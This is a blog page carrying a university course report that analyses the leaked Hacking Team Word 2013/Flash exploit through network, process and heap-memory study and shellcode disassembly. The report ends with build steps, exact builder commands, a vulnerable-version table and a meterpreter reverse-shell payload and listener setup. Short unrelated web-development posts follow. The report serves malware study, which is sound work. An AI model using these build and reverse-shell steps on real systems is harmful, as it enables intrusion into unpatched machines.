To analyze the network traffic we used WireShark and to find the exploit traffic much easier we used a filter to show the HTTP requests since from our static analysis we knew that the exploit tries to connect to a starting http:// address. The fitter was “http and ip.dst!=239.255.255.250” which simply just shows http traffics and removes those going to the multicast address. After clicking the docx file we could spot two requests for swf and dat file (Figure 11 ). Moreover we could match these traffics to Word process using ProcMon TCP operation filter

Network Analysis of Word 2013 Hacking Team Exploit

Figure 11 (HT Word 2013 exploit traffic analysis)

Word exploit TCP send request event

Figure 12(Word exploit TCP send request)

The first request will be issued with non-vulnerable flash players on Windows XP as well but the second will be only issued if the exploitation is successful. Another interesting point that we found is the behavior of clicking the doc for the second time or in case the swf is not accessible. In the former, the file will not be downloaded because the server returns 304 status code. In the latter the request will be sent and the exploit works as expected.

Memory Usage

One of the probable cases for these types of exploits is heap spraying and if it is huge it is easy to spot it in this stage since the system is still not compromised and the given data is trustworthy (Figure 13). Our analysis shows that the memory graph does not show at least any obvious abnormality.

memory usage of word 2013 exploit

Figure 13

Memory analysis after clicking word 2013 exploit

Using HEYFINDME text which we know it will be the name of the payload file on the victim system we found out several events in Process Monitor

using Process Monitor to find Trojan of Word 2013 exploit

Figure 14

Looking at the sequence of actions it is obvious that the exploit tries to create the Trojan file in the startup folder. Therefore at the time of clicking the word file no malicious activity will happen until the next reboot. By opening the event we traced the calls to this event and as expected some caller sources are not known (In section Heap Memory analysis we analyze these addresses more):

Hacking team word exploit RAT Startup Event Stack traces

Figure 15(stack traces first trial)

One important observation that we had was the success of the exploit with presence of ASLR. We ran the exploit several times with the same parameters but the stack addresses were different. The next screenshot proves this:

Hacking Team Word 2013 exploit stack address fluctuation

Figure 16 (Address fluctuation by 32MB)

What we realized is that the exploit has a precise method of getting the shellcode address because in our Heap Memory analysis we haven’t found big NOP sled to make the random redirection possible.

Heap Memory analysis

After finding the events in ProcMon we used WinDbg to look at the memory more closely. After attaching the WinDbg to Word Process we examined the loaded modules’ addresses (Figure 17) in order to speculate about the possibility of the source of suspected addresses.

HT Word 2013 Exploit loaded modules in memory

Figure 17 (word exploit loaded modules)

Since the suspected caller is in none of the loaded modules we examined heap using “!heap” command:

Hacking Team Word Exploit heap memory analysis

Figure 18 (heap allocated memories by Hacking team’s exploit word 2013)

As you can see in Figure 18 the caller address is near the last allocated heap. This attracted our attention and we more analyzed heap allocations using “!heap –s command”:

Figure 19 (Hacking Team's word 2013 exploit heap stat)

As you can see in the stat, all of the 2 last allocated heap chunks are used and then 1016/1024 are freed for 0a650000 that give us hints about the heap corruption vulnerability. After this we tried to analyzed the last heap slab more closely with command “!heap -stat –h”:

Figure 20(HT Word 2013 exploit memory corruption)

 As a surprise the command returns nothing. One strong possibility is that the heap header is overwritten because of an overflow.

Shellcode Dump

After analyzing the root cause of the vulnerability we tried to dump the shellcode in memory. To do that we used the data from Static Analysis section of this study. Using the byte code of the win32 shellcode in the disassembled swf file (Figure 6 (Shellcode opcode)) we started to dig the memory.

 

First we tried to match the first few bytes of the shellcode using “s -b 0x00000000 L?0x0a45923e 81 e1 ff 0f 00 00 03 c8 83 c1 40 83 c7 40 83 c6 40 51 57 56 e8 a0 fe ff ff c3” command in WinDbg. The result returned 6 matches. We tried to trunk the results by searching for middle bytes; the result returned 5 matches. Finally we tried last bytes and we got two matches:

Identifying Hacking Team word exploit shellcode using WinDBG

Figure 21 (HT word 2013 exploit shellcode hunting in memory)

By examining the assembly codes in the matched areas and comparing these addresses to ProcMon result (Figure 17 (word exploit loaded modules)) with confidence we assert that 0a459100 was the start address of the shellcode – for that specific analysis since because of ASLR addresses change – and 0a45a36b was the end. Using these two addresses we dumped the shellcode to a file using “.writemem c:\shellcode.dump 0a459100 0a45a36b” command.

Now that we are certain about the place and addresses of the shellcode in memory we can match the ProcMon events to the shellcode Assembly code.

Mapping dynamic info to shellcode source code

According to ProcMon, a series of events to query the startup folder contents can be seen (Figure 22). 0x87F far from the start address of the shellcode (this address can be used to find the byte opcode in fla disassembled file), you can find a portion of code that is responsible for this. This portion starts from line 720 of the equivalent asm file:

            

push     8000h
push     [ebp+var_8]
push     [ebp+var_4]
mov      eax, [ebp+arg_0]
call     dword ptr [eax+80h]

 

Figure 22 (startup query events)

 

By checking the stack trace this portion has been called by line 1600 (0xFC5 from start of the shellcode) that is:

lea      eax, [ebp+var_88]
push     eax
call     sub_801

 

This line has also been called by the last line of the shellcode that proves the previous portion is the main flow of the shellcode. As you can see in Figure 22 after this requests we have TCP requests that suggest here the download of .dat file (RAT or Trojan as you wish) will happen. This means this process will happen in following lines after return from “startup folder query”.

The call to the creation of the RAT exe file will happen in line 1628:

push     0
push     80h ; '€' 
push     2
push     0
push     0
push     40000000h
push     [ebp+var_90]
call     [ebp+var_14]

 

After that, writing to the file and closing it will happen successively in line 1638 and 1640:

push     0
lea      eax, [ebp+var_94]
push     eax
push     [ebp+var_98]
push     [ebp+var_8C]
push     [ebp+var_9C]
call     [ebp+var_10]
push     [ebp+var_9C]
call     [ebp+var_74]

 

Finally the shellcode will return in line 1655:

push     1
mov      eax, [ebp+arg_8]
add      eax, 282h
push     eax
lea      eax, [ebp+var_88]
push     eax
call     sub_E6B

 

 

Exploit Testing

The exploit, as mentioned in Exploit Builder section, will be built using the docx input file, server address and the final Trojan (RAT) to be installed – to see the complete parameters refer to Exploit Builder section. In order to running the builder successfully, a series of pre configurations are needed; otherwise the builder fails. These configurations are explained in section Requirements to build the exploit. On the other hand to run the exploit on the victim, the vulnerable applications should be installed. This will be reviewed in section Requirements to run the exploit.

Requirements to build the exploit

The steps are as follows:

  1. Install Python version that suits your host (2.6 or 2.7 for 32 bit version or 3.x for 64 bit hosts)
  2. Installing python easy-install by downloading ez_setup.py and running it
  3. Install pylzma library by:
    • Downloading the package
    • Explore to the container folder
    • Issue python -m easy_install pylzma-0.4.2-py2.6-win32.egg command
  4. Install zip.exe package which suits your host
  5. Add the bin folder of zip package to your windows PATH environment variable

If all the steps are successfully taken, the exploit builder (exploit.py) can be invoked using a command like this:

  1. python.exe "F:\Codes\vector-exploit-master\vector-exploit-master\ht-2013-002-Word\exploit.py" payload:http http://10.20.20.111 Trial1 "F:\Codes\vector-exploit-master\word input\expolitable.docx" tricky5.docx "F:\Codes\vector-exploit-master\word input\calc.exe" Payload7 HEYFINDME.exe

For test purposes we suggest to use a bat file because the exploit is one-shot and after one usage it is useless. Therefore for an analysis the analysists may need more than 10 exploits in different times and inputting the options can be a tedious job. Our bat file was like this:

set "curpath=%__CD__%"   F: REM: Our exploit scripts are in drive F. Change this to yourscd F:\Codes\vector-exploit-master\vector-exploit-master\ht-2013-002-Wordpython.exe "F:\Codes\vector-exploit-master\vector-exploit-master\ht-2013-002-Word\exploit.py" payload:http http://10.20.20.111 Trial1 "F:\Codes\vector-exploit-master\word input\expolitable.docx" tricky5.docx "F:\Codes\vector-exploit-master\word input\calc.exe" Payload7 HEYFINDME.exec: REM: Our batch file is in drive C. Change this to yourscd %curpath%

After running the builder 6 files will be produced (Figure 23):

  1. one docx file which contains the exploit
  2. one swf file with random name that contains the shellcode
  3. one dat file with random name that contains the Trojan to be installed
  4. one tmp folder that is unpacked version of docx file
  5. one file without any extension which further will be reviewed in Exploit Bug
  6. a zip file that contains swf and dat file

the result of exploit.py which is the builder of Hacking Team word 2013 exploit

Figure 23

Exploit Bug

The “Trial1” option that we provided in the exploit builder input will be used for a zip folder in which will be the docx exploit. That zip folder is 20 that does not contain the zip extension. If you provide .zip extention in the builder input, the builder fails because in one part of the code they assume the input has .zip and in another not. Two lines are (314,315 in exploit.py):

os.system("zip.exe -r \"" + send_to_target_zip + "\" \"" + output_file + "\"")shutil.move(send_to_target_zip + ".zip", send_to_target_zip) # ‘+ ".zip"’ from the first argument should be removed

Requirements to run the exploit

There are 3 .yaml files in the ht-2013-002-Word folder that seem giving info about the exploit and vulnerable apps. During our course of analysis we found out those info to be misleading. They mentioned flash player v11.1.102.55 as the first vulnerable version that is not true! We tested this version of flash player with Windows seven and XP (in conjunction with office 2010 and 2013) and this version was not exploitable. The first vulnerable flash version we found was version 11.5.502.146 working both on windows XP (we tried office 2010) and windows Seven (office 2013) though we were mostly using 11.5.502.146 version for our analysis. To run the exploit successfully, one also needs to install a webserver and upload the shellcode and the payload. In our case we used Xampp on a windows operating system. To recap our working environment for Windows XP x86 was:

  • Windows XP x86, service pack 3
  • Microsoft office 2010 (to be installed on XP)
  • Flash player with activeX version 11.5.502.146 (to be installed on XP)
  • Xampp server with the server IP mentioned as parameter for exploit builder and having swf and dat files

And for windows Seven:

  • Windows Seven ultimate 32 bit
  • Microsoft Office 2013 Office Professional Plus 32 bit (15.0.4420.1017)
  • Any flash successful version from the Table 1(list of vulnerable flash versions to HT word 2013 exploit)
  • Xampp server with the server IP mentioned as parameter for exploit builder and having swf and dat files

11.1.102.55

Failed

11.1.102.62

Failed

Flash player 11.5.502.146 (with activeX version)

Successful

Flash player 11.6.602.180 (with activeX version)

Successful

Flash player 12.0.0.77 (with activeX version)

Successful

Flash player 15.0.0.167

Successful

Flash player 15.0.0.167

Successful

Flash player 17.0.0.134

Successful

Flash player 18.0.0.324 (last published version)

Failed

Flash player 19.0.0.245

Failed

Flash player 20.0.0.235

Failed

Table 1(list of vulnerable flash versions to HT word 2013 exploit)

We tried several flash versions to track the pattern of vulnerability in versions and it seems after the first vulnerable version, almost all versions were affected until the HT dumps. The last versions are patched as our analysis suggests. We also tried to run the swf file solely and infect the guest. In this case after swf running, the dat file will be downloaded, though it will not be put in startup.

Conclusion

In this study we analyzed the Hacking Team Exploit Delivery service for word 2013 exploit by analyzing the exploit builder they used to use the produce exploit for the customers. We analyzed the shellcode and its execution flow using both static and dynamic analysis. Additionally we mapped the source code lines to the dynamic data. Furthermore we found out possible vulnerability the exploit acquires using our memory analysis data. Finally we reviewed the setting environment, requirements and configurations for this exploit testing for two different operating systems and applications.

Although this vulnerability is patched both on Microsoft and Adobe side, the antiviruses cannot detect it. In other words if the user uses vulnerable versions her system may still be infected. This is probable because we could find 2015 vulnerable flash player and people don’t use to update the office versions regularly. On the other hand to the best of our knowledge a detailed online explanation of the exploit is not available and the root cause of the vulnerability that we claim is memory corruption can be further assessed.

Real RAT as payload

In this section we build a meterpreter payload for our exploit and then use metasploit to get access to the victim host. In order to do that we first need to build the meterpreter reverse_tcp exe. Open metasploit msfconsole and input following commands:

use windows/meterpreter/reverse_tcp

generate -o LPORT=[your-port],LHOST=[your-ip] -t exe -f meterpreter.exe

[your-ip] will be the ip of the system that metasploit is installed on, something like 192.168.1.1.

Then input meterpreter.exe as your tool for the exploit builder:

 

python.exe "F:\Codes\vector-exploit-master\vector-exploit-master\ht-2013-002-Word\exploit.py" payload:http http://[your-ip]/[the-folder-that-contains-swf-and-dat] Trial5.zip "F:\Codes\vector-exploit-master\word input\expolitable.docx" tricky5.docx "F:\Codes\vector-exploit-master\word input\meterpreter.exe" Payload7 meter.exe

 After that open your msfconsole and input followings:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 88
exploit

 After executing these commands your metasploit waits for the victim machine to connect, which will be a restart after opening the malicious word document. You will be prompted with the meterpreter console after the restart.

Disclaimer

This Report has been submitted in Partial Fulfilment of the Course Offensive Technologies, Università degli Studi di Trento, Master of Science in Computer Science, EIT Digital Master of Science in Security and Privacy. To download the PDF version of this analysis please click here.

Tuesday, 18 August 2015 00:00

How to apply Farsi font in Photoshop ME 12?

How to apply Farsi font in Photoshop ME 12?

  1. Install the Farsi font of your choice
  2. Write in Photoshop what you want
  3. Click Apply Middle eastern composer in Edit Menu -> Apply Middle eastern composer. It is just below check spelling and find and replace.
Tuesday, 18 August 2015 00:00

Playing with utf8 urls

Playing with utf8 urls

If you ever had an experience of developing website for a language except English and you wish to use utf8 URLs you saw the problem. The problem is that you can not compare incoming URLs with the value in your language. What you see is % + characters that do not mean anything. To retrieve the value of meaningless URL you should decode it. In PHP this can be done using urldecode() function. If you ever wish to convert the language phrase to what eventually ends up in user browser you can use urlencode(). The result of this function is those % + chars .

Tuesday, 18 August 2015 00:00

3 steps to Install MVC on IIS

3 steps to Install MVC on IIS

Depending on the version of your IIS server, MVC may not be installed on default. To install MVC on IIS follow these procedures:

  1. Install ASP.NET and .NET 4 using this command:

    %windir%\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe -ir

  2. Enable these features in "enable program features" of windows

  3. In IIS feature view/ISAP and CGI restrictions, click Edit Feature settings on the sidebar. Check those 2 box to allow other ISAP handlers
Monday, 17 August 2015 00:00

Gathering info about CPU in windows

Gathering info about CPU in windows

Gathering info about hardware is as easy as knowing the model number and checking out the data sheet but sometimes this is not possible because you need to repair a system which you know nothing about and you need info very quickly. In case of CPU and having a microsoft operating system installed there is a very useful command:

wmic cpu get [parameter]

There are tons of parameters you can pass after get. You can see the complete list using /? . For example to get the number of cores, you can use:

wmic cpu get NumberOfCores

 

 

Monday, 17 August 2015 00:00

Java script snippets

Java script snippets

In this article I am sharing java script snippets I used in my web projects. They are simple and small but very useful.

Pop-up window

Opening a popup when clicking a button in browser is as easy as opening a new window and focusing it:

			<a href="/<?php echo $this->baseurl.'/images/'.'popupfiles/' ?>sample.pdf" onClick='showPopup(this.href);return(false);'>
				<img  src="/<?php echo $this->baseurl.'/images/'.'samples/' ?>sample.jpg" target="_blank" alt="" id=""/>
			</a> 

			
		<script type="text/javascript">
						function showPopup(url) {
						newwindow=window.open(url,'name','height=650px,width=780px,top=20,left=300,resizable');
						if (window.focus)
							{
							newwindow.focus();
							}
						}
		</script>

This is also a script for Joomla. This script shows an image which clicking on it will open a pdf file in popup.

Change template color script

						<script type="text/javascript">
							jQuery('#cc a').click(
								function(){
									var a=jQuery(this).attr('title');
									jQuery('#main').css("background-image", "url(<?php echo $this->baseurl.'/templates/'.$this->template.'/images/core/' ?>"+a+")");
								}
								);
							jQuery('#cf a').click(
								function(){
									var a=jQuery(this).attr('title');
									jQuery('#footer').css("background-image", "url(<?php echo $this->baseurl.'/templates/'.$this->template.'/images/core/' ?>"+a+")");
								}
								);
							jQuery('#cb a').click(
								function(){
									var a=jQuery(this).attr('title');
									jQuery('body').css("background-image", "url(<?php echo $this->baseurl.'/templates/'.$this->template.'/images/core/' ?>"+a+")");
								}
							);
						</script> 

 main is the ID of the content container of the page. body is obvious and footer is the footer of the page. Clicking cc, cf and cb changes the background color of each section accordingly. This code is written for Joomla and the color of the page is passed using the image name in title attribute of the link tag. In case of passing the color hex code, you should use background-color CSS attribute.

OnClick event on a div element of a form

Making a div element in a form clickable at first was really overwhelming for me. After digging a little bit I found this small script which made it very easy:

		$(document).ready(
				function () {
					$('#searchform').on('click', '.divClassName', function () { // so important to select!!!
							alert("click");
						});
						}
					);

 

IE placeholder

Lower versions of IE do not support input placeholder attribute. If you need to add placeholder browser compatibility for browser you can use following script:

<script type="text/javascript">
var _debug = false;
var _placeholderSupport = function() {
    var t = document.createElement("input");
    t.type = "text";
    return (typeof t.placeholder !== "undefined");
}();

window.onload = function() {
    var arrInputs = document.getElementsByTagName("input");
    for (var i = 0; i < arrInputs.length; i++) {
        var curInput = arrInputs[i];
        if (!curInput.type || curInput.type == "" || curInput.type == "text")
            HandlePlaceholder(curInput);
        else if (curInput.type == "password")
            ReplaceWithText(curInput);
    }

    if (!_placeholderSupport) {
        for (var i = 0; i < document.forms.length; i++) {
            var oForm = document.forms[i];
            if (oForm.attachEvent) {
                oForm.attachEvent("onsubmit", function() {
                    PlaceholderFormSubmit(oForm);
                });
            }
            else if (oForm.addEventListener)
                oForm.addEventListener("submit", function() {
                    PlaceholderFormSubmit(oForm);
                }, false);
        }
    }
};

function PlaceholderFormSubmit(oForm) {    
    for (var i = 0; i < oForm.elements.length; i++) {
        var curElement = oForm.elements[i];
        HandlePlaceholderItemSubmit(curElement);
    }
}

function HandlePlaceholderItemSubmit(element) {
    if (element.name) {
        var curPlaceholder = element.getAttribute("placeholder");
        if (curPlaceholder && curPlaceholder.length > 0 && element.value === curPlaceholder) {
            element.value = "";
            window.setTimeout(function() {
                element.value = curPlaceholder;
            }, 100);
        }
    }
}

function ReplaceWithText(oPasswordTextbox) {
    if (_placeholderSupport)
        return;
    var oTextbox = document.createElement("input");
    oTextbox.type = "text";
    oTextbox.id = oPasswordTextbox.id;
    oTextbox.name = oPasswordTextbox.name;
    //oTextbox.style = oPasswordTextbox.style;
    oTextbox.className = oPasswordTextbox.className;
    for (var i = 0; i < oPasswordTextbox.attributes.length; i++) {
        var curName = oPasswordTextbox.attributes.item(i).nodeName;
        var curValue = oPasswordTextbox.attributes.item(i).nodeValue;
        if (curName !== "type" && curName !== "name") {
            oTextbox.setAttribute(curName, curValue);
        }
    }
    oTextbox.originalTextbox = oPasswordTextbox;
    oPasswordTextbox.parentNode.replaceChild(oTextbox, oPasswordTextbox);
    HandlePlaceholder(oTextbox);
    if (!_placeholderSupport) {
        oPasswordTextbox.onblur = function() {
            if (this.dummyTextbox && this.value.length === 0) {
                this.parentNode.replaceChild(this.dummyTextbox, this);
            }
        };
    }
}

function HandlePlaceholder(oTextbox) {
    if (!_placeholderSupport) {
        var curPlaceholder = oTextbox.getAttribute("placeholder");
        if (curPlaceholder && curPlaceholder.length > 0) {
            Debug("Placeholder found for input box '" + oTextbox.name + "': " + curPlaceholder);
            oTextbox.value = curPlaceholder;
            oTextbox.setAttribute("old_color", oTextbox.style.color);
            oTextbox.style.color = "#c0c0c0";
            oTextbox.onfocus = function() {
                var _this = this;
                if (this.originalTextbox) {
                    _this = this.originalTextbox;
                    _this.dummyTextbox = this;
                    this.parentNode.replaceChild(this.originalTextbox, this);
                    _this.focus();
                }
                Debug("input box '" + _this.name + "' focus");
                _this.style.color = _this.getAttribute("old_color");
                if (_this.value === curPlaceholder)
                    _this.value = "";
            };
            oTextbox.onblur = function() {
                var _this = this;
                Debug("input box '" + _this.name + "' blur");
                if (_this.value === "") {
                    _this.style.color = "#c0c0c0";
                    _this.value = curPlaceholder;
                }
            };
        }
        else {
            Debug("input box '" + oTextbox.name + "' does not have placeholder attribute");
        }
    }
    else {
        Debug("browser has native support for placeholder");
    }
}

function Debug(msg) {
    if (typeof _debug !== "undefined" && _debug) {
        var oConsole = document.getElementById("Console");
        if (!oConsole) {
            oConsole = document.createElement("div");
            oConsole.id = "Console";
            document.body.appendChild(oConsole);
        }
        oConsole.innerHTML += msg + "<br />";
    }
}
</script>

 

Monday, 17 August 2015 00:00

Disable IIS from startup

Disable IIS from startup

IIS is not always installed for deployment purposes. Sometimes as a developer you may need IIS but you don't want it to start after each reboot. In a more complex scenario you may have other web servers on your system and IIS listening on port 80 cause troubles for you. In all of these situations you may want an on demand start of IIS server and not the default config which starts IIS at startup. In order to disable IIS at startup follow these procedures:

  1. Open Computer Management
  2. Expand Services and Applications
  3. Click Services
  4. Locate World Wide Web Publishing Service and disable it
  5. Locate Web Deployment Agent Service and disable it
Page 1 of 7
Advanced Programming Concepts
News Letter

Subscribe our Email News Letter to get Instant Update at anytime